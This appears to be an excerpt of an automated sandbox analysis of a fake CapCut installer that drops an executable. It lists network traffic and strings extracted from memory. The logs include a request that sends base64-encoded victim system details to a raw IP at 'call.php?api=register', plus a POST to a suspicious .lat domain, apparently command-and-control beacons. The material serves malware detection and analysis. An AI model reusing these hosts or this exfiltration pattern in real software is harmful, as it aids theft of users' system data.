      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: sweepyribs.lat
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: www.google.comConnection: close
      Source: global trafficHTTP traffic detected: GET /call.php?api=register&username=ZGVsYWly&userdata=OCBHQl9bb2JqZWN0IE9iamVjdF1fTUVIOTVGX3RydWVfMTI4MHgxMDI0X1dpbmRvd3MgMTAgUHJvXzEwOSBtaW51dGVzICgwLjgyIGhvdXJzKV9DOlxVc2Vyc1xqb25lc18xMjM5OTFfam9uZXNfV2luZG93c19OVF94NjRfMTAuMC4xOTA0NV9DOlxVc2Vyc1xqb25lc1xBcHBEYXRhXFJvYW1pbmdfQzpcVXNlcnNcam9uZXNcQXBwRGF0YVxMb2NhbFxUZW1wX0pPTkVTLVBDX19JbnRlbDY0IEZhbWlseSA2IE1vZGVsIDE0MyBTdGVwcGluZyA4LCBHZW51aW5lSW50ZWxfQU1ENjRfQzpfMl9DOlxVc2Vyc1xqb25lc1xBcHBEYXRhXExvY2FsXFRlbXBcMnE0b1hUcTRqNDdZeWVqTzlyY2RsVjlncmd3XFBoaWxpcGluZXNzQXZpYSBBcHBsaWNhdGlvbi5leGU= HTTP/1.1Accept: application/json, text/plain, */*User-Agent: axios/0.27.2Host: 192.142.10.246Connection: close
      Source: PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: chttps://www.baidu.com/s?ie={inputEncoding}&wd={searchTerms}https://www.baidu.com/s?ie={inputEncoding}&word={searchTerms}https://www.baidu.com/{google:pathWildcard}/s?ie={inputEncoding}&word={searchTerms}sigs_ssp{google:baseURL}#q={searchTerms}{google:baseURL}search#q={searchTerms}{google:baseURL}webhp#q={searchTerms}{google:baseURL}s#q={searchTerms}{google:baseURL}s?q={searchTerms}https://go.mail.ru/msearch?q={searchTerms}&{mailru:referralID}https://m.so.com/s?ie={inputEncoding}&q={searchTerms}https://m.so.com/index.php?ie={inputEncoding}&q={searchTerms}https://m.sogou.com/web/{google:pathWildcard}?ie={inputEncoding}&keyword={searchTerms}http://searchatlas.centrum.cz/?q={searchTerms}http://hladaj.atlas.sk/fulltext/?phrase={searchTerms}http://isearch.avg.com/search?q={searchTerms}http://search.avg.com/route/?q={searchTerms}&lng={language}https://isearch.avg.com/search?q={searchTerms}https://search.avg.com/route/?q={searchTerms}&lng={language}http://search.babylon.com/?q={searchTerms}http://search.conduit.com/Results.aspx?q={searchTerms}http://www.delfi.lt/paieska/?q={searchTerms}http://www.delta-search.com/?q={searchTerms}http://www1.delta-search.com/home?q={searchTerms}http://www1.delta-search.com/?q={searchTerms}http://www2.delta-search.com/home?q={searchTerms}http://www2.delta-search.com/?q={searchTerms}http://www.search.delta-search.com/home?q={searchTerms}http://www.search.delta-search.com/?q={searchTerms}http://www.yhs.delta-search.com/home?q={searchTerms}http://www.yhs.delta-search.com/?q={searchTerms}http://mixidj.delta-search.com/home?q={searchTerms}http://mixidj.delta-search.com/?q={searchTerms}http://search.goo.ne.jp/web.jsp?MT={searchTerms}&IE={inputEncoding}http://search.goo.ne.jp/sgt.jsp?MT={searchTerms}&CL=plugin&FM=json&IE={inputEncoding}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q={searchTerms}http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q={searchTerms}http://start.iminent.com/?q={searchTerms}http://start.iminent.com/StartWeb/1033/homepage/#q={searchTerms}http://search.incredibar.com/?q={searchTerms}http://mystart.incredibar.com/?search={searchTerms}https://www.neti.ee/cgi-bin/otsing?query={searchTerms}&src=webhttps://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery={searchTerms}https://nova.rambler.ru/search?query={searchTerms}https://nova.rambler.ru/suggest?v=3&query={searchTerms}http://www.search-results.com/web?q={searchTerms}http://search.snap.do/?q={searchTerms}http://feed.snapdo.com/?q={searchTerms}http://feed.snap.do/?q={searchTerms}http://en.softonic.com/s/{searchTerms}http://www.softonic.com/s/{searchTerms}http://www.softonic.com.br/s/{searchTerms}http://buscador.softonic.com/?q={searchTerms}http://nl.softonic.com/s/{searchTerms}https://search.softonic.com/?q={searchTerms}https://en.softonic.com/s/{searchTerms}https://www.softonic.com/s/{searchTerms}https://www.softonic.com.br/s/{searchTerms}https://buscador.softonic.com/?q={searchTerms}https://nl.softonic.com/s/{s
      Source: global trafficDNS traffic detected: DNS query: www.google.com
      Source: global trafficDNS traffic detected: DNS query: chrome.cloudflare-dns.com
      Source: global trafficDNS traffic detected: DNS query: nevYLyXsvEOUoLjcGpUCNbkxAjn.nevYLyXsvEOUoLjcGpUCNbkxAjn
      Source: global trafficDNS traffic detected: DNS query: sweepyribs.lat
      Source: unknownHTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://arianna.libero.it/search/abin/integrata.cgi?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://autocomplete.nigma.ru/complete/query_help.php?suggest=true&q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.softonic.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscador.terra.es/favicon.icohttp://buscador.terra.es/Default.aspx?source=Search&ca=s&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://buscar.terra.com.ar/favicon.icohttp://buscar.terra.com.ar/Default.aspx?source=Search&ca=s&que
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://clients3.google.com/cert_upload_json
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only#
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://dts.search-results.com/sr?lng=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://en.softonic.com/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://feed.snap.do/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://feed.snapdo.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.png
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://find.in.gr/Themes/1/Default/Media/Layout/icon_in.pnghttp://find.in.gr/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://g1.delphi.lv/favicon.icohttp://www.delfi.lv/search_all/?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://hladaj.atlas.sk/fulltext/?phrase=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.rl0.ru/2011/icons/rambler.icohttp://nova.rambler.ru/search?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://isearch.avg.com/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://l.twimg.com/i/hpkp_report
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://l.twimg.com/i/hpkp_report0
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://linkurystoragenorthus.blob.core.windows.net/static/favicon.icohttp://search.snapdo.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mixidj.delta-search.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mixidj.delta-search.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ms1.iol.it/graph_hf/v.8.3.04/themes/default/img/favicon.icohttp://arianna.libero.it/search/ab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mysearch.sweetpacks.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://mystart.incredibar.com/?search=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/?s=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nl.softonic.com/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nova.rambler.ru/search?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://nova.rambler.ru/suggest?v=3&query=
      Source: CapCut_12.0.4_Installer.exe, 00000000.00000000.1699830144.000000000040A000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://ok.hu/katalogus?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://pesquisa.sapo.pt/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://pesquisa.sapo.pt/livesapo?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://radce.centrum.cz/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://report-example.test/test
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/favicon.icohttp://search.avg.com/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/route/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.avg.com/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/favicon.icohttp://search.babylon.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.babylon.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.conduit.com/Results.aspx?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.goo.ne.jp/sgt.jsp?MT=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.goo.ne.jp/web.jsp?MT=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/favicon.icohttp://search.imesh.net/music?hl=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.imesh.net/music?hl=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Result.aspx#q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.iminent.com/Shared/Images/favicon_gl.icohttp://search.iminent.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/favicon.ico
